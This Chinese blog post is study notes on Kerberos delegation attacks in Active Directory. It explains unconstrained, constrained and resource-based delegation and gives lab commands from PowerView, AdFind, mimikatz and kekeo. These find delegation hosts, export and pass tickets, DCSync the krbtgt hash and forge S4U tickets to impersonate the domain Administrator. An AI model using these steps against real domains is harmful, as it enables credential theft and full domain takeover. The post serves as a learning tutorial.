kerberos域委派攻击学习

记录学习到的笔记。如有兴趣可以看最后发的参考文章来学习[都是大佬]，下面也有官方链接解释，建议阅读。

基础知识#

什么是委派#

Client --> HTTP --> SQLServer。当Client请求HTTP服务的时候 HTTP服务又要去请求SQLServer,于是就会使用Client身份去访问SQLServer。说白了就是A委派B代表自己访问C。委派也是需要提前进行配置。
委派分为三种：

  • 约束性委派
  • 非约束性委派
  • 基于资源的约束性委派

在我们学习委派的时候需要用到的两种协议

  • S4U2Self
  • S4U2Proxy

然后说一下这两种协议是在约束性委派和基于资源的约束性委派才会用到，而非约束性的不会走这两个协议的

S4U2Self#

类似协议转换，在约束委派中，因为服务器不能再获取委派用户的 tgt去请求 tgs 了，但是 tgs 又是认证过程所必须的，因此 S4U2Self 解决了这个问题，服务器可以使用它去向 KDC 请求一张用户身份的 TGS，服务器再用这张 TGS 去发起 S4U2proxy 请求
t01a4905b7404536e37.png

S4U2Proxy#

该拓展作用是使用一张用户身份的 TGS 去向 KDC 请求一张用于访问服务器B的 TGS
t01e47d53e86539dc74.png

非约束性委派概念#

非约束性委派就是user从kdc得到TGT后发送给任意服务账号，从而服务账号可使用该 TGT，模拟用户访问任意服务。这里放一张微软官方的图，
1552649941_5c8b8ed5b18f6.png

  1. 用户在AS_REQ中申请可转发的TGT，这里记做TGT1
  2. KDC在AS_REP消息返回了TGT1
  3. 用户在TGS_REQ中通过TGT1向KDC申请可转发TGT2【没错就是TGT请求TGT，后面会说到】
  4. 在TGS_REP消息返回可转发的TGT2
  5. 用户在TGS-REQ中发送TGT1申请Service1的ST
  6. TGS-REP消息返回Service1的ST
  7. 用户在AP_REQ中请求到Service1，消息中包含了TGT1和ST、TGT2、TGT2的session key
  8. Service1使用用户的TGT2在TGS_REQ发送KDC，以用户名义申请可以访问Service2的票据，
  9. KDC在TGS_REQ中返回Service2的ST给Service1
  10. Service1发送AP_REQ请求给Service2
  11. Service2响应Service1
  12. Service1响应用户【也就是步骤7的请求】
  13. 在这个过程中TGT的转发机制没有对Service1对TGT2的任何限制，也就是可以通过TGT2访问任意的服务
  14. KDC返回请求的票据ST
  15. 代表用户发起AP
  16. 响应

值得注意的是：Service1会将TGT2保存在内存中

约束委派概念#

因为非约束委派很不安全，所以微软又发布了约束委派，区别在于不会直接把TGT2给服务，所发送的认证信息中包含了允许访问的服务，即不允许服务代表用户去访问其他服务
其实现主要依靠一组kerberos扩展：S4U2Self和S4U2Proxy。上面有提到。附一张微软的图。
注：其中步骤1-4代表S4U2Self请求的过程，步骤5-10代表S4U2proxy的请求过程
1552650016_5c8b8f20208e8.png

  1. 用户向Service1发起请求。用户通过了身份验证但是没有授权给数据给用户，这通常是身份证验证通过Kerberos以外方式执行的。

  2. Service1已经通过KDC进行身份验证获得了TGT，通过S4U2self代表自己请求ST

  3. KDC返回给Service1一个用户验证Service1的ST，并且用户了Service1的验证服务。

  4. Service1响应给用户

    值得注意的是：尽管 S4U2self 向服务 1 提供有关用户的信息，但此扩展不允许服务 1 代表用户提出其 他服务的请求，这就是S4U2proxy的作用

  5. 用户再次向Service1发起请求，此时Service1需要以用户的身份访问Service2

但是Service1并没有来自用户转发的TGT来通过转发TGT执行委派。所以执行此步骤的前提：

  • Service1通过KDC进行身份验证，并且具有有效转发的TGT2
  • Service1有一个从用户到Service1的可转发的ST感觉就是ST1。官方还说明这个ST1可以是AP_REQ或者S4U2self得来的。
  1. Service1代表用户向Service2请求了一个用于认证转发的ST2
  2. 将ST2返回给Service1，当然如果请求有PAC，则会检查PAC是否有效。有效或者不存在才会返回ST2。

需要注意的：存储ST中的cname 和crealm 是用户的而不是Service1的

  1. Service1代表用户使用ST2请求Service2，Service2会判断是否已经通过KDC的验证
  2. Service2响应Service1
  3. Service1响应用户

基于资源的约束委派概念#

它的过程和约束性委派几乎一样，区别的地方：

  • 有权利配置约束性委派的人的账号是服务所在的主机的主机账号与将这台主机加入到域内的那个账号。
  • 请求过程中S4U2self得到的ticket即使不可以转发，也不会影响结果。

查找委派关系#

原理#

  • 当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
  • 当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务

发现域中的委派用户或机器一般是通过LDAP协议通过userAccountControl属性来筛选的，我们可以通过ADSI来编辑修改LDAP。
例如设置User3为约束委派
image.png

powerview#

都可以使用命令进行筛选。灵活运用。

查询非约束性委派的机器#

Get-NetComputer -Unconstrained -Domain hacker.lab

image.png

查找非约束性委派账号#

Get-DomainUser -TrustedToAuth -Domain hacker.lab

image.png#

查找约束性委派机器#

Get-DomainComputer -TrustedToAuth -Domain hacker.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

image.png

查找约束性委派账号#

Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

image.png

ADFind#

这个是不需要账号密码的，ADFind下载地址：https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools/blob/master/AdFind.zip

查询非约束性委派的机器#

AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image.png

查找非约束委派账号#

AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image.png

查找约束性委派机器#

AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image.png

查找约束性委派账号#

AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image.png

ldapsearch#

如果有ladp开放可以使用。具体搜索吧。这里没搞环境。留一个坑。

非约束性委派利用#

根据上面的流程我们大概知道了原理，因为TGT2会留存在非约束委派机器上，这时候我们就可以诱导域管账户访问我们的非约束委派。认证方式无论是kerberos还是ntlm都可以，这样子我们就拥有了域管的TGT，可以生成黄金票据
我们需要使用管理员身份在winrm quickconfig可以打开普通主机上的winrm服务，而server2008之后，所有的server主机默认会开启这个服务。

还有值得注意的是，在域中只有服务账户才能有委派的功能所以需要注册一个或者设置成服务号或者主机被设置非约束委派// DC默认是非约束委派
下面是设置服务账户

setspn -S MSSQLSvc/win8r2.hacker.lab user3

通过setspn -l user3查看配置
image.png
这里设置机器为非约束委派来操作[主机用户而不是服务用户在这里和服务用户没关系]
image.png
此时我们在域控使用Enter-PSSession -ComputerName win8r2来连接到win8r2。此时域控登陆用户为administrator
image.png

然后我们在win8r2上使用mimikatz可以导出Administrator发送过来的TGT内容

privilege::debug
sekurlsa::tickets /export //导出所有票据

image.png
然后使用下面命令导入票据

kerberos::ptt 票据

image.png
然后我们就可以直接访问到域控
image.png
读取krbtgy hash

lsadump::dcsync /domain:hacker.lab /user:krbtgt

所以我们只需要使用上面列举的查找工具找到非委派约束机器，对其拿下。然后诱导域管进行委派就可以拿到域管TGT。

约束委派的利用#

这里需要用到的新工具kekeo
我们知道的是约束委派加了s4u2self与s4u2proxy协议，访问Service2就必须通过Service1以用户身份访问KDC请求访问Service2可转发的ticket。所以s4u2self解决的问题就是确定了某台主机可以代表某用户来对自己进行操作。s4u2proxy解决的问题是确定了某台主机可以代表某用户对其他主机进行操作。
所以约束委派的核心就是获得可以转发的ticket票据。所以我们只要控制了配置约束委派服务的机器，获得它的密码或者NTLM HASH就可以劫持kerberos请求过程，从而获取任意票据。
我们这里的环境如下

  • 域：hacker.lab
  • 域内主机：win8r2 用户 user3
  • 域内主机：win7

我们对user3配置了如下对WIN7的cifs服务委派
image.png
在已知明文的条件下，我们使用kekeo请求该用户TGT

//password情况
tgt::ask /user:user3 /domain:hacker.lab /password:password /ticket:test.kirbi
//NTLM HASH情况
tgt::ask /user:user3 /domain:hacker.lab /NTLM:XXX /ticket:test.kirbi
//最后一个参数不会生效所以无所谓是啥

image.png
然后我们可以使用这张TGT伪造s4u请求以administrator身份请求win7的cifs的ST

tgs::s4u /tgt:TGT_user3@HACKER.LAB_krbtgt~hacker.lab@HACKER.LAB.kirbi /user:Administrator@hacker.lab /service:cifs/win7.hacker.lab

image.png
生成了两个票据S4U2Self获取到的ST1以及S4U2Proxy获取到的win7 cifs服务的ST2会保存在当前目录下。我们利用mimikatz将ST2导入当前会话.

kerberos::ptt xxxx

image.png
直接访问cifs服务
image.png

基于资源的约束委派#

这也是一个坑，路还长
https://shanfenglan.blog.csdn.net/article/details/111249630
https://blog.zjun.info/tech/kerberos-domain-delegation-attack/#基于资源的约束性委派

约束委派的权限提升#

等后面有时间再补这个坑。绿盟的文章一二是一样的第一个清楚一点，第三个是原出处一些思路。
根据adsecurity网站中一篇关于银票据(即伪造的TGS服务票据)的利用的文章可知，当ServiceB主机开启了远程管理服务(WinRM)时，我们可以通过请求HTTP和WSMAN的服务票据，利用Powershell Remoting以域管理员身份连接到目标主机：
https://cloud.tencent.com/developer/article/1552171
http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/
https://adsecurity.org/?p=2011

参考：#

https://www.anquanke.com/post/id/190625#h2-9
//下面三篇委派很详细
https://shanfenglan.blog.csdn.net/article/details/108777247
https://shanfenglan.blog.csdn.net/article/details/111249630
https://blog.csdn.net/qq_41874930/article/details/110633298
http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/
https://xz.aliyun.com/t/7217
https://shu1l.github.io/2020/08/05/kerberos-yu-wei-pai-gong-ji-xue-xi/
https://www.freebuf.com/articles/system/198381.html
//官方
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
posted @   R0ser1  阅读(497)  评论(0)  编辑  收藏  举报
相关博文：
· Windows认证及其票据传递
· 域内横向移动基础
· 域委派攻击详解
· 域内委派攻击
· 域渗透之kerberos协议
阅读排行：
· 阿里最新开源QwQ-32B，效果媲美deepseek-r1满血版，部署成本又又又降低了！
· Manus重磅发布：全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai，欢迎大家贡献代码
· 被坑几百块钱后，我竟然真的恢复了删除的微信聊天记录！
· AI技术革命，工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示
AI IDE Trae
主题色彩